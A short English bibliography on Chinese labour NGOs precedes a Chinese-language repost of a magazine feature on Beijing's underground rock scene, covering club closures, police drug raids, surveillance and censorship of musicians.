Lee, Ching Kwan and Yuan Shen. 2011. ‘“The Anti-Solidarity Machine?” Labour Non-Governmental Organisations in China.’ In From Iron Rice Bowl to Informalization: Markets, Workers and the State in a Changing China, edited by Sarosh Kuruvilla, Ching Kwan Lee, and Mary E. Gallagher, 173–87. Ithaca, NY: Cornell University Press.

Lei, Jie and Chak Kwan Chan (eds). 2018. China’s Social Welfare Revolution: Contracting Out Social Services. London: Routledge.

Pringle, Tim. 2018. ‘A Solidarity Machine? Hong Kong Labour NGOs in Guangdong.’ Critical Sociology 44(4–5): 661–75.

Pun, Ngai. 2005. ‘Global Production, Company Codes of Conduct and Labour Conditions in China: A Case Study of Two Factories.’ The China Journal 54: 101–13.

Xu, Yi. 2013. ‘Labour Non-Governmental Organisations in China: Mobilising Rural Migrant Workers.’ Journal of Industrial Relations 55(2): 243–59.

Zhou, Mujun and Guowei Yan. 2020. ‘Advocating Workers’ Collective Rights: The Prospects and Constraints Facing “Collective Bargaining” NGOs in the Pearl River Delta, 2011–2015.’ Development and Change 51(4): 1044–66.

From Green Shoots to Crushed Petals: Labour NGOs in China

原文

北京的呼唤：中国地下摇滚的怀疑、希望和反抗 - iyouport

关于中国社会

中国已经生产出一些地球上最重要的独立摇滚。但这一场景能否在高档化、政府镇压和热门电视节目的整体冲击中幸存下来呢？

就像北京本身一样，黄昏黎明俱乐部（简称DDC），对那些在任何时候都跌跌撞撞出来的当地人来说—— 将百年的历史融合成了一片霓虹。该俱乐部位于市中心时尚的鼓楼区，是众多蜿蜒曲折、灯光稀少的石板小巷中的一条，位于一个传统的院子里，装饰着摇摆的纸灯笼和华丽的木雕屋檐。摇滚乐队在改造过的客厅里兴奋地舞动，歌迷们涌向天井，争先恐后地透过窗玻璃观看着。

我在2019年一个温暖的春夜访问了黄昏黎明俱乐部；小王，在一个当地的地下朋克女性主义乐队担任领队。主唱于洋用普通话发出愤怒的吼叫，眼睛被遮挡在锯齿状的刘海下，手抓着她的背心上盘绕的老虎。观众们激烈地挥舞，琥珀色的瓶子像弹球一样在他们的脚下滑过。

在外面，酒保甩着廉价的大跃啤酒罐，相比下这是最理智的选择；鸡尾酒几乎是疯狂地倾倒。大多数人都喝了啤酒；有几个人在喝白酒，这是一种可以追溯到明朝的谷物酒，能让人浑身燃烧起来。外面爆发了一场争吵，两个人像拳击手一样围着对方转，警惕地扫视着对方，然后爆发出笑声，猛然拥抱在一起。后来，一个DJ播放了摩城唱片，一丛丛的身体跳了几个小时的舞。

这是一场混乱，也是一种欣快，而我从未想过要离开。这是我沉浸在北京独立摇滚俱乐部的许多个夜晚中的最后一个，这里充斥着与我所经历的其他地方不同的、疯狂的激情。

今天，黄昏黎明俱乐部关闭了—— 这是最近被关闭的许多受人喜爱的小俱乐部之一，也是一个曾经充满活力的场景的另一个沉默的圣

地。在独立摇滚乐在中国短暂而艰难的历史中，它的社区一直都很顽强。它的音乐家们被监禁、被沉默，被社会放逐：被迫离开自己的家，被自己的家人拒绝。然而，他们一直在坚持，说明了艺术在压制中的美丽，并挑战了西方关于抗议、自由和希望在摇滚乐中可能意味着什么的观念。

但是现在，在中国空前繁荣和增长的时期，对这一场景的挑战可能会粉碎它的许多非凡之处。虽然失望的歌迷可能会指出始于1150公里以南的武汉的大流行病，但这只是对这个社区众多威胁中的一个而已。病毒流行加上不断上涨的租金、城市化、政府审查、和一系列精心策划的警察镇压—— 然后再加上一个有争议的真人秀节目 —— 北京地下摇滚乐的情况可能无法治愈。

刘并没有打算唱有关中国的审查制度和警察的歌曲，至少大多数时候都没有。新的爱情、与朋友夜晚欢聚的快乐，以及其他年轻时的话题，构成了他为乐队写的大部分歌词。他坚持认为，少数几句可以被解释为抗议政府或质疑权威的歌词并不是故意的。我问他，他是否认为这些歌词—— 以及它们在中国独立摇滚界引起的兴奋 —— 对他的监禁遭遇起到了任何作用。

“我不知道”，他说，“我真的不知道”。

刘在2010年代初成立了这个乐队；它很快就在北京流行起来，在该市所有最受欢迎的展演空间(Livehouse)（中国的音乐会场所）预订演出。很快，乐队成员就在中国各地建立了自己的巡演。他们比他们的大多数同龄人更多地借鉴了西方朋克。他们欢快地嚎叫着喝酒和开派对，他们的四肢上布满了纹身，在他们的前辈面前都是扬眉吐气的。“在中国创造自己的粉丝群是很罕见的事”，刘说，“仅仅依靠自己的声誉，一个乐队往往要花10年时间才能被人知道。但是我们自己做到了”。 (滚石杂志改变了刘和他的乐队成员的名字和一些识别性细节信息，并与乐队合作，以安全的方式证实了他们的故事）

唱片公司很快就找上门来，一个著名的唱片公司发行了该乐队的专辑。(这是个容易的决定。刘是“中国最好的主唱”，该唱片公司的一位高管告诉我）。这是一张激烈的、粗暴的唱片，以西方车库摇滚的粗糙的吉他声和疯狂的节奏为动力，再加上刘的普通话撕心裂肺的尖叫。中国的音乐媒体赞扬了这支乐队，特别是英文博客，时尚的街头服饰品牌也向他们提供了合作。“我们因为我们所代表的东西而受到很多关注”，另一个乐队成员温斯顿说，他在西方出生和长大，“我们的态度，我们的穿着，我们对生活本身的看法 —— 都是不同的”。

他们正在成为中国各地“做自己”精神（西方的朋克概念）的偶像。但是随着他们的名气爆发，他们也吸引了不必要的注意。乐队说，在一位成员惹恼了一位朋友后，她向警察举报了该乐队，声称他们在家里贩毒。一天清晨，警察突袭了乐队成员的公寓，拘留了温斯顿和刘。警察在一张桌子上发现了残留的大麻，于是将两名音乐家监禁了几天。

虽然这是刘和温斯顿的第一次被捕，但对他们来说这并不是一个陌生的情况。在过去的十年里，卧底警察已经成为中国最大城市、特别是北京和上海的音乐场景中的可靠存在。如果有关于所谓吸毒的传闻，他们就会频繁出入俱乐部或演出现场 —— 这是中国当局对毒品（从大麻开始）稳步加强打击的一部分—— 警察的出现保证会吓跑顾客。

如果一家俱乐部在财务上处于困境，便衣警察的出现会加速其灭亡。上海的一位音乐会发起人告诉我，他和他的朋友们经常在演出现场玩“抓便衣”的游戏，寻找那些穿着夸张的时髦服装、拳头上握着一个没喝完的啤酒瓶的三十多岁或四十多岁的男人。

便衣警察可以一时兴起，要求对观众进行尿检，并因他们体内有任何毒品痕迹而将他们投入监狱。据了解，便衣警察还在演出期间对观众和表演者进行盘点，利用政府的全面监控技术（包括查手机和面部识别扫描仪）对人们进行识别，随后就会出现在人们的家中，收集头发样本，进行检查。这位上海的发起人说，当他预料到会有这样的突击检查时，他就会剃光头。一位在北京的艺术家告诉我，尽管目前那里的突击检查没有上海那么活跃，但他和他的同龄人有时仍然会在长夜过后漂洗头发，以掩盖任何毒品的痕迹。

与几年前不同的是，现在这些搜捕行动似乎只关注毒品。“以前，便衣警察可能会观看演出，看一个乐队是否会说一些有争议或反政府的话”，一位北京和上海的唱片主管说，“但现在，他们的其他监管形式已经控制了这一点，所以它只是关于毒品”。

警察也干预了音乐节，造成了混乱。一位来自北京的摄影师回忆说，2018年，在东南大城市杭州广受欢迎的草莓音乐节上，他被警察喷了胡椒喷雾。她说，在南京后朋克乐队 Re-TROS 的演出中，人群开始起哄，警察也跳进了这场争斗。她把当时的场面比作一部僵尸电影：“我突然看到所有这些人弯着腰向我走来，我很困惑。然后我也开始感觉到胡椒喷雾的存在。这足以让你掉眼泪”。2007年北京流行音乐节，保安在旁观。

这种警力的增加并不限于音乐会；持续的逮捕可能性也在其社区中造成了深刻的、麦卡锡主义的怀疑。一位来自北京的歌手在他的乐队成员因吸毒被逮捕之前，曾是一个新兴摇滚乐队的主唱—— 他认为是一个朋友出卖了他。不久之后，该乐队就被解散了。他现在对和谁说话很警惕，无论是在音乐会上还是在微信上 —— 那是一种流行的社交媒体应用程序，一种即时通讯工具，Twitter、Facebook、电子邮件和数字钱包的混合体（有充分证据表明受到政府的监控）。

“当局非常善于号召群众斗群众”，这位歌手说，“如果他们逮捕你，把你带进警察局，他们会吓唬你，威胁你。他们说，如果你举报其他10个吸毒的人，他们会给你减刑。所以人们一直在互相举报”。

在这样一次所谓的同行举报之后，温斯顿就进监狱了。今天，他回忆起牢房里的严酷时说，“墙壁、地板—— 一切都是白色的。而且灯光从未关闭。当时是冬天，但没有暖气”。他的声音是严峻的，有节奏的，他说，“[监狱]里面有摄像头，所以他们可以随时看到你在做什么。有一次，我们正在做俯卧撑，房间里的扬声器忽然传来一个声音，叫我们停下来”。

刘和温斯顿的犯罪记录改变了他们在中国的日常生活。刘的国家身份证被永久标记，而温斯顿找工作也受到了影响。根据警方的规定，刘在使用国家身份证的任何时候 —— 不论是购买火车票、飞机票或进入公共建筑，或仅仅在街上被抽查时，都可能被强迫进行尿液测试。如果他的测试显示有任何毒品，他将被送回监狱。刘坚称，他在第一次被捕后就完全戒毒了，此后再也没有碰过毒品。他说，“我非常小心，我现在在任何地方都不使用身份证。我使用我的护照”。

尽管审查增加了，但乐队唱片发行后的几个月是好日子。乐队的财务状况越来越好，仅靠音乐就可以舒适地生活。乐队在中国各地预订了演出，并开始组织巡回演出，以便走出国门。乐队还在为一张新专辑写材料。

但是有一天早上，在乐队计划出发参加一场重要的演出前不久，警察再次搜查了他们的家。这一次，温斯顿不在那里，但刘在那里。警方将刘带到当地分局，说他再次被举报使用毒品。警察检测了刘的尿液和头发，并声称发现了麻醉品的证据。尽管刘的抗议，他还是被判处在康复监狱服刑两年。

温斯顿 —— 当时他正在进行例行的签证更新—— 被警察单独带去问话，以便拿回他的护照。“当我到达时，我是完全剃光了的：我的整个身体、眉毛、胡须”，温斯顿说，“并不是因为我认为自己有罪，而

是因为我不想给他们[警察]任何机会，让他们对我不利”。在快速、亲切的面谈之后，他离开了，并很快收到了邮寄的护照。但这一次，他没有获得正常的几个月或一年的签证，而是只被分配了几个星期。他回到了自己的国家。乐队的巡演和下一张专辑被取消了。

在入狱的头几周，刘一直失眠。“感觉很不真实”，他说。“我简直不敢相信这会发生在我身上。我必须在精神上找到出路”。他开始狂热地阅读，并与他的许多狱友聊天，那些狱友们年纪都大很多，而且因涉嫌吸毒而服刑的时间更长。他沉思。任何中国媒体都没有报道他的被捕。

“在西方，如果一个乐队像这样被捕，就肯定会有人会向媒体和歌迷吐露心声，整个社会就会团结在乐队周围”，温斯顿说，“但如果我们在中国媒体上说这样的话，人们会自动与我们脱离关系以保护自己。这就是生活在独裁环境中的心态，人们不想惹上麻烦。”

刘在监狱里默默地忍受着。在他被释放的前一天晚上，狱友在他们的牢房里为他举办了一场派对，还有一个不知何故在监狱里获得的新鲜水果制成的蛋糕。“非常好吃”，刘回忆道。第二天，他的母亲和他的女朋友来接他；他们去吃晚饭，然后刘在他们最喜欢的酒吧遇到了他的一些乐队成员。他们没有过多谈论他在狱中的经历。

那么，刘和温斯顿到底是因为什么原因被逮捕的呢？分别问他们每个人，你会得到两个不同的答案。

“作为地下乐队，我们受到了太多关注”，温斯顿坚持说，“当我们开始时，我们正在展示一些以前在中国从未发生过的东西。我们身上满是纹身，而且很年轻。我们中的一些人已经辍学了。我们的音乐打动了批判性思维：你可以自由地做事，独立思考，不需要走传统道路”。

“我认为这 [在中国] 被视为过度自由”，他总结道，“如果你观察中国的历史就会发现，每次政府觉得事情超出了他们的控制范围并且变得太大时，他们就会试图扼杀它。”

但刘却不同意这点。“对他们[当局]来说，我们无足轻重”，他说，“这只是关于毒品的。他们不喜欢那样，所以因为[我们与毒品有关联]，他们惩罚了我们。他们当然知道我们在音乐上做什么，但我们对他们来说能产生的影响太小了。”

一种态度 —— 专注于压制，对逆势而上的铁拳 —— 似乎是理想主义

的，来自西方长大的人。另一个 —— 假设微不足道，被卷入更大的势头 —— 是务实的，来自东方人。而当局真正的动机也可能介于这两者之间：政府被告知该乐队涉嫌吸毒，但对他们的惩罚是试图惩罚持不同政见者 —— 因为如果不是对统治阶级主导的生产力、稳定性、合规性的异议，那么吸毒又算得上什么？

最终，乐队的不同解释使他们分裂。“在那之前我就已经感觉到，每次我们出演时，都会受到严密的监视”，温斯顿说，“现在很清楚：我们已经到了天花板，我们在中国无处可去。我们不得不离开这个国家继续前进。”

温斯顿恳求他的乐队成员加入西方，即使是暂时的。他让潜在的制作人和乐队成为合作者；如果他们留在中国，他预测了灾难性的后果。而其他人拒绝搬家，令他沮丧的是：“他们就在那种环境中出生和长大，从未离开过。他们更愿意服从系统提供给他们的东西，并去适应事物的运作方式（而不是改变）。”

温斯顿说他和他的乐队成员现在处于对峙状态。他不会离开自己的国家，他们也不会离开他们的国家。但他不会回到中国，他说；对他的乐队成员来说，被逮捕的音乐家“只是发生在最近几个月的事。而对我来说，这几乎毁了我的整个计划。”

这让我想起了在刘获释后不久，我与他的谈话中的一个时刻。我注意到，中国没有双重危机法则，所以他可能会因为虚假指控而被再次逮捕。我问他：“你想离开这个国家吗？”“我不相信搬家就能是解决方案，我也不想抛下一切”，他说，“我没有做错什么，我也不想逃跑。是的，有时我担心我会再次被逮捕，但我不应该被逮捕，因为我是无辜的。我现在不碰任何毒品，我不想在担惊受怕中过活”。

目前，在没有了西方成员的情况下，该乐队正在再次演出并计划录制另一张专辑。刘也在创作新歌，歌词是他在狱中创作的。“它们不是关于监狱，而是关于世界”，他说，“因为我觉得世界只是一个更大的监狱。”

刚到北京，摇滚乐很快就暴露了我明显的西方偏见。我在美国的成长经历让我做出了一个相当种族中心主义的假设，即：在专制国家中，反抗会像在美国那样直率地和话题性地表现出来，只是有额外的隐蔽性。我想象着歌手们聚集在秘密的、骚乱的地下酒吧和俱乐部里，抨击大一统和共产党的无所不知。换句话说，就是符合西方的抗议概念的那些东西。但是，你在中国很难找到这样的东西。

2019年，当我把这个理论告诉独立摇滚厂牌 Maybe Mars 的创始人、在纽约的外籍人士迈克尔·佩蒂斯（Michael Pettis）时，他很了解地点头。“当[西方人]来到中国时，他们对将要看到的东西有所期待”，他说，“有些人会觉得，‘这是一个独裁国家，所以音乐界将是一群对政府挥舞拳头的人’。哦不，中国的大多数艺术家对政治并不那么感兴趣。无论如何，如果你对政府挥舞拳头，你就会进监狱。如果你在美国这样做，你会卖出更多的**CD**”。崔健的《一无所有》成为 1989 年天安门广场上反抗学生们的集会口号。XINHUA/EYEVINE/REDUX

对于中国的摇滚歌手来说，这是一个简单的学习曲线；不久前，西方摇滚乐才真正来到这个国家。在 1980 年代，随着该国长期封闭的经济和文化边界开始开放，从 1985 年 Wham! 在北京的演出开始，盎格鲁流行音乐首次被允许进入中国。

但就在最近的 1990 年代，摇滚乐在中国仍然不受待见，因为它被共产党认为太有争议了。 1986年，北京歌手崔健发行了将中国传统木管乐器与西方吉他和鼓相融合的自我赋权的国产作品《一无所有》；它成为 1989 年天安门广场抗议活动中学生集会的口号。

其他乐队，如重金属摇滚先驱唐朝和全女子硬摇滚眼镜蛇乐队，在 80 年代末和 90 年代初受到关注，尤其是在首都。但随着音乐与革命之间的联系，共产党开始对其进行严格审查，它们从电波中消失了。

报道中国审查制度的人权观察研究员说，西方摇滚乐的名声为中共所知。“摇滚乐在西方有一个宏大的意识形态，那就是挑战社会规范，挑战政治规范”，她说，“如果中国的摇滚乐手也有这种精神，政府会认为这是一种威胁”。（中国文化和旅游部没有回应滚石杂志的置评请求。）

但在 1990 年代，虽然摇滚在中国被禁止，但它在美国和欧洲蓬勃发展。唱片公司正在以前所未有的数量印刷经典和另类摇滚 CD。随着未售出的拷贝最终从商店退回给他们，这些公司需要处理这些积压的库存，因此他们接受了其他行业越来越流行的选择：他们将这些 CD 和磁带运到中国，进行回收或报废。

就这样，大量的摇滚和朋克同时来到了中国，在巨大的平衡中堆积起来。涅槃乐队与金发美女 (Blondie)相邻，Galaxie 500 和音速青年 (Sonic Youth) 与雷蒙斯 (Ramones) 相邻，Atlantic 与 4AD 与 SST 相邻。精明的唱片店主，在他们的前厅做着 Kenny G 和 Carpenters 的生意，把这些违禁品放在后面的箱子里，每个周末青少年都会涌入这里进行 “非法、混乱” 的购买活动。他们争先恐后地抢夺新CD，“有一

次我发现我手上有血，而且是别人的”，北京老牌摇滚乐队 Carsick Cars 的主唱张守望说，“我们非常渴望新音乐，我们只是抓住了我们能做的一切。”

西方专辑的出货量 —— 以及它们危险的魅力 —— 在中国引发了第二次九十年代末的摇滚浪潮。乐队找到了巧妙的方法将他们的西方影响与中国大陆的主要语言普通话融合在一起。（普通话是一种声调语言，用不同的音高区分意思。围绕这些不同的声调写旋律是出了名的棘手。）有影响力的北京摇滚乐队，如黑豹、花儿乐队和挂在盒子上 (Hang on the Box) 发行了具有里程碑意义的专辑，并且在某些情况下，开始了前所未闻的全国巡演。在南京，现在备受尊敬的 PK14 成立，从 Joy Division 和其他 80 年代后朋克中汲取灵感。

但随着它的发展，摇滚音乐遭到了持续的敌意。 PK14主唱杨海崧说，在他们的职业生涯开始时不久就搬到了北京，以逃避摇滚音乐家的耻辱。“我们所有人的父母、老师和朋友都认为，只要你听或演奏摇滚音乐，你就是危险的，那会毁掉你的生活”，杨回忆说，他现在是一位著名的摇滚制作人。“人们会认为你很坏，不属于这个社会。你是个外人”。与西方同行相比，这种边缘地位远没有那么迷人。然而，在没有经济激励、没有社会保障的情况下，这一代中国摇滚歌手忍受着磨砺出专辑并展示一种罕见的超越商业的艺术激情。今天，对于中国摇滚乐的新时代，他们是受崇拜的偶像。备受尊敬的南京乐队 PK14 从 Joy Division 和其他后朋克中汲取灵感。

在 2000 年代后期，随着中国政府准备在北京举办 2008 年夏季奥运会 —— 在新建筑、基础设施和数字技术上花费数十亿美元用于经济学家称之为中国在世界舞台上的 “出柜派对”—— 它的摇滚场景似乎也向世界开放了。Carsick Cars 由杨制作的同名首张专辑在全国轰动一时，并为乐队在他们的精神祖先音速青春（英語：Sonic Youth）2007 年的欧洲巡演中占据了一席之地。大学摇滚乐队清醒乐队（Sober）的主唱沈黎晖创立了摩登天空，现在是中国最大的独立唱片公司，并举办了公司的第一个摇滚音乐节，由 Yeah Yeah Yeahs 领衔。摇滚俱乐部吸引了活泼、忠诚的粉丝群；由迈克尔·佩蒂斯创立的北京 D22 与纽约 CBGB 的棕褐色调相同。（D22于 2012 年关闭）

【注：CBGB是位于美国纽约的一个酒吧，它被公认为是朋克音乐的诞生地。“CBGB”的意思是乡村（Country）、蓝草（Blue Grass）、布鲁斯（Blues）。】

自那次奥运热潮以来，该国最大城市的显赫财富飙升。尤其是上海，已经焕然一新，市中心到处都是闪闪发光的摩天大楼。嘻哈和电子音

乐在其极简主义俱乐部中占据主导地位。 2019 年在上海的一个晚上，在一场感觉从柏林或布希维克（除了角落里的 DIY 面条碗吧）中分解出的迷幻狂欢舞会上，我注意到当地唱片公司和派对主办方 Genome 6.66Mbp 的一名成员摆弄着一个粗糙的电子装置。她穿着全套的美少女战士服装，只有一个偏差：她戴着口罩，用令人毛骨悚然的假声尖叫声唱歌—— 当时通勤者喜欢这种装扮，他们不喜欢雾霾，或者仍然对雾霾保持谨慎。 2003 年 SARS 爆发，在六个月后，它就变得无处不在。

今天，北京仍然是中国最受瞩目的摇滚舞台，尽管 QQ 音乐和抖音等流媒体平台已经在全国范围内壮大了乐队。南方城市武汉和成都拥有丰富的朋克和后朋克场景，部分原因在于其庞大的大学社区。

一些中国摇滚艺术家多年来一直享有主流人气：像黑豹和羽泉这样的老牌乐队，以及像何勇这样的独唱艺术家，自 1990 年代以来就占据了舞台。五月天和 F.I.R.等台湾乐队在中国也有很长的职业生涯；他们沉重的管弦乐作品通常来自清脆悦耳的粤语和国语流行音乐，可能会让西方听众联想到 “轻摇滚” 这个词。“摇滚” 的概念本身也被证明是媒体友好的； 2017 年的电影《缝纫机乐队》（City of Rock）讲述了一个胖乎乎的主唱的奋斗生涯，他召集了一群混杂的音乐家，用无尽的吉他独奏、超制作的民谣高潮、关于幸福和爱的非特定歌词、以及其他方式，拯救音乐的灵魂。是的，这个故事类似2003年的喜剧电影摇滚校园 (School of Rock)。《缝纫机乐队》是一个特别有趣的案例，因为它对摇滚乐及其生活方式大加赞赏，但同时回避了摇滚乐在西方长期以来所代有的所有反叛和抗议的内涵。它以省略的方式询问那些观众：社会异议的音乐是如何在一个压抑的社会中蓬勃发展的？

对一些中国摇滚乐的西方乐迷来说，答案就在于它的激进真诚——在它反复出现的异化、焦虑和其他不适的主题中。旧金山布莱恩·琼斯镇大屠杀（The Brian Jonestown Massacre）乐队的吉他手 Ricky Maymi 于2015年首次访问中国，并已往返了 “8到10次”。他通过自己的公司 Far Out Distant Sounds 在西方发行中国的摇滚乐，并带着北京摇滚乐队 “吹万” 和 Birdstriking 与BJM进行巡演。

Maymi 说：“中国摇滚乐界的音乐家们正在寻找一个地方来表达他们的想法和感受，在他们的本土文化中是找不到这样的地方的”。“这种音乐有真正的心灵，没有任何形式的讽刺。这给了它一种内在的力量，一种西方音乐已经很久没有的魔力”。

中国的监管系统每天处理14亿公民，更不用说访客了。数以百万计的人被雇来审查社交媒体上的帖子和搜索关键词，并为当局编写报告。

中国约5亿个监控摄像头中，有许多使用了最先进的面部识别技术，并为多个重叠的数据监控网络做出了贡献，这些网络的名称包括锐眼舆情监控系统、城市大脑和天网（是的，就像在中国流行的《终结者》电影）。一个经常被引用的比喻是由学者 Perry Link 提出的，政府无处不在的监控和审查权力就像 “一条盘踞在头顶吊灯上的巨蟒” —— 它不需要出手就能吓死人们，迫使人们改变行为。2013年，在北京MAO livehouse上的人群

人权观察的王更加直言不讳：她说中国的监控设备是其 “非常压抑的专制国家” 的组成部分。

她说：“中国政府想要控制那些渴望独立的人的言论和想法。政府认为任何想要自主、想要解释自己想法的人都是对其统治的威胁”。

从表面上看，中国人的生活也可以感觉到毫不费力地忍让，与限制共生。闭路电视摄像机与树木融为一体；被禁止的音乐家在商店里没有黑名单式的海报，只是不卖他们的专辑；微信被监视着，但很难找到一个50岁以下的不依赖微信的公民。我在中国的时候，感觉接受那里的监控就像在我的家乡纽约一样容易：在中国使用微信和在曼哈顿追踪我的 **iPhone** 的**GPS**有什么不同？当我们参观天安门广场时，一位来自澳大利亚的游客问我为什么对在人群中巡逻的武装警卫毫不畏惧；这是因为在我的工作中，我已经适应了在美国金融区与手持机关枪的警察擦肩而过。

但是，正是这种令人心动的 “正常” 外衣，使得压制的表现 —— 甚至是对压制的怀疑—— 更加令人震惊。在北京一个阳光明媚的下午，当我独自走到三里屯区的 Airbnb 时，我通过一个消息应用程序被介绍给温斯顿，他已经被驱逐到他在西方的祖国。我们的交流很短；我们同意在下周打电话，那时我将回到美国。

在我们交流后的几分钟内，我的 iPhone 上的消息应用就崩溃了。我吓了一跳，并试图重新启动它，但没有用。而我试图打开我赖以生存的当地交通共享应用程序时也失灵了。

大约15分钟后，在一家路边咖啡馆外，我试图再次打开这两个应用程序，但依旧没有成功。这时，我注意到在我的周边视野中出现了一个男人，离我大约20英尺远：身材矮小，剃着光头，穿着白色T恤和牛仔裤，胸前斜挎着一个黑色挎包。他仔细地看着我—— 这对我来说在中国并不是一个完全罕见的经历，因为许多热情的当地人已经上前询问我的种族。但是这个人的表情很尖锐，紧盯着我。我走过街区，迅速回头；他没有动，还在盯着我。

几个小时后，我的手机上的信息和乘车应用程序重新打开了，时间相差不到几分钟。第二天，我又看到了这个男人，穿着同样的衣服，两次都是在我住的地方的几个街区内。两次他都在仔细观察我；两次都是瞄准我一个人。而这两次，当我在街上匆匆忙忙地甩掉他时，我想知道这其中有多少是公然的监视，而不是单纯的巧合，或者我自己的胆怯。我的一无所知比他的存在本身更可怕，这感觉就像是监视本身的力量的反映。歌手兼演员何韵诗，2014 年

尽管如此，我的不确定性仍是一种奢侈。在中国，音乐方面的异议言论会给艺术家带来严重后果，无论是公民还是游客。2014年，粤语歌星何韵诗因示威反对党对香港的侵占而被中国大陆禁止。2018年，一位中国社交媒体明星因以政府认为 “不尊重” 的方式演奏国歌而被监禁五天。2019年抗议中国在该地区的引渡法律的国歌《光荣的香港》的主要作曲者因害怕报复而躲藏起来；同年，民谣摇滚歌手李志据称在六四30周年前夕唱起了关于天安门广场的歌，随后被失踪；随着中国西北地区对该民族的压迫日益严重，维吾尔族艺术家在媒体中被严重边缘化。中国经常对同性恋艺术家和相关内容进行审查。多产的视觉艺术家和专制主义批评家艾未未拒绝听音乐是有原因的：他说他在中国的成长经历使音乐在他心中永远与宣传有关。

倡导艺术表达自由的国际非政府组织 Freemuse 的全球监测项目协调员 Jasmina Lazović 说，中国政府 “非常清楚如何通过音乐和艺术来动员人们”。

她说：“考虑到中国侵犯人权的范围，[艺术家的安全]是另一个需要在国际层面强调和倡导的领域”。

西方艺术家在表达了对西藏独立的支持后，也被禁止进入该国，中国自1950年以来一直以暴力方式对其实施主权。比约克在2008年的上海演唱会上大喊支持西藏之后，她被禁止在中国演出。据报道，其他曾在西藏自由音乐会上演出或公开支持达赖喇嘛的艺术家也被中国禁止，包括 Lady Gaga、Oasis 和 Maroon 5。（其他艺术家，如 Justin Bieber，因涉嫌 “不可接受的个人行为” 而被禁止，Jay-Z 是众多因涉嫌不当的抒情内容而被禁止的明星之一）。在北京时，我发现比约克是GFW的一个很好的晴雨表，中国公民可以访问的互联网受到严重限制。(谷歌、Facebook 和推特在2000年被允许使用之后被封锁；Bandcamp 和 Spotify 也被禁止，尽管QQ媒体平台是 Spotify 和中国媒体集团腾讯的合资企业的一部分）。中国最流行的搜索引擎叫百度，在其中输入 “比约克”，可以看到一些稀少的传记细节和简略的唱片目录。输入 “比约克” 和 “西藏”，没有发现任何有关这一争议的信息。

而这还只是在搜索引擎中的体现而已。为了发行一张专辑，中国的艺术家和唱片公司必须首先在幕后的官僚机构中穿梭。“现在所有的东西都要经过审查，但没有一个审查员，也没有明确的清单说明什么是允许的，什么是不允许的”，音乐人、Maybe Mars 的前运营经理 Nevin Domer 解释说，“要发行专辑，你需要向出版商提交你的所有材料，这是一个部分由政府拥有的公司，必须付钱。如果公司没有得到他们的批准，工厂就不能印制专辑”。这些材料包括所有的歌词、乐队成员的信息、他们的政府身份证、录制的歌曲，以及所有要印在内页的内容。这些出版商的判决可能是反复无常的，如果一张专辑被拒绝 —— 经常如此 —— 唱片公司通常会向另一家公司重新申请，重新开始整个过程。

人权观察的王说：“这是一种基本的审查策略，通过官僚主义的障碍”，“控制是从根本上开始的”。

经历过这一过程的音乐家们说，审查制度的幽灵仍然随处可见，特别是在与西方人交谈时。但对他们中的一些人来说，更重要的是，他们不能被他们对这种压制的反应所定义。对这些艺术家来说，抵抗就是要在一个与他们对立的系统中继续创造艺术。在这种环境下，朋克精神就是创造一些充满美感的东西 —— 甚至是乐观主义的—— 只要你能做到。

“人们总是问我们为什么不对审查制度进行批评，我认为这是不公平的”，Carsick Cars 的张说，“在中国，首先，我们必须确保我们继续演奏音乐”。

“我认为这种环境给了我们更多的创造力，可以写出对我们重要的东西”。

PK14的杨海崧对此表示赞同。“我不想写一些异议的歌曲。作为一个艺术家，那是一个陷阱”，他说，“作为一个音乐家，你需要写你的感受，找到你自己。它不可能只有愤怒。我不想用我的语言去战斗；那对我来说是不好的”。

当张锦灿在2014年开设黄昏黎明俱乐部时，北京的鼓楼区充满了潦倒的摇滚展演空间。那里有学校酒吧：一个昏暗、粘稠的朋克据点，位于一座镀金的佛寺和一家肯德基的路边。再过几个街区就是坛酒吧：在一个工业化的小商场里有一个宽大的、烟雾缭绕的阁楼，感觉是从中西部的地下室里扯出来的东西。然后是愚公移山，一个有定期国际演出、摄影展览和东半球最大的组合沙发的庭院式低级酒馆。还有最有名的 “Mao Livehouse”：一个方方正正、满是涂鸦的大厅，拥有全

城最好的、最刺耳的音响系统。

今天，只有学校酒吧仍然开放。“我最近在鼓楼走了一圈，现在完全不同了。它很安静。太安静了”，张说，“我不认为音乐场景在市中心还有什么机会。它已经完了；已经消失了”。DDC 的最后一晚，2020 年 5 月 31 日

黄昏黎明俱乐部和坛酒吧是最近被关闭的两家。可以预见的是，北京的冠状病毒封锁起到了一定的作用；展演空间关闭了八个多月，与电影院一样，是该市最后重新开业的一些企业。黄昏黎明俱乐部因缺乏收入和不断变化的重新开业预测而受到严重打击。“到5月[2020年]，我们对中国的大流行病得到控制已经不抱希望”，张说，“这对我们来说是一场灾难”。重新开业后，坛酒吧开始接受检查人员更多的审查，导致其业主对演出实行了新的宵禁，并临时关闭以使设施符合规范。最后，在续租未果的情况下，俱乐部于1月关闭。

当幸存的展演空间在9月开始重新开放时，它们被人流挤满了。隔离已经让音乐家们在公寓里进行现场直播了几个月，偶尔也会在人员稀少的舞台上演出。这让人感到焦虑。

但其中一些回归仍然是短暂的。坛酒吧的关闭表明，由于 Covid-19 之前的法律问题，鼓楼的展演空间仍然可能关闭。要在中国举办音乐会，艺术家和场地都需要演出许可证，而这两者都很难获得。艺术家必须向审查员提交他们的歌词、身份证和以前演出的录像，审查员可能会认为他们具有攻击性而拒绝他们的申请，这与发行专辑的审查过程很相似。俱乐部必须位于城市指定的 “文化区” 内才能获得这种许可，而在北京，这些区域往往远离市中心。据报道，在2016年 Mao Livehouse 关闭后，由于 “租金上涨和官员多管闲事”，它在一个这样的批准区重新开张—— 离鼓楼约30英里。

“地方政府把剩余的场馆全部挤出市中心只是时间问题，他们现在能够留在那里只是因为他们的关系、以及他们已经在那里呆了几年的事实。但最终，他们还是会被挤走”，Domer 说，“场所的唯一空间将是被指定用于艺术和文化的空间”。

就他而言，黄昏黎明俱乐部的张相信这个社区可以在北京坚持下去—— 只要做出一些妥协。尽管他目前正专注于俱乐部的姊妹场馆 DDC Aranya，这是一个位于离北京约300公里的高档私人海滨社区的表演空间，但他计划在秋季回到北京开设一个新的DDC。它位于鼓楼以东的朝阳区的一个商场内，所以不像其他展演空间所面临的那么远的迁移。他说：“我感到非常幸运。尽管如此，他承认该地区没有什么音

乐场景—— 而且最近该地区的另一家搬迁俱乐部 Lantern 在运营一个月后就被政府关闭了。但是，他补充说："我把我的担心告诉了房东，他们说如果我需要，他们会给我帮助"。

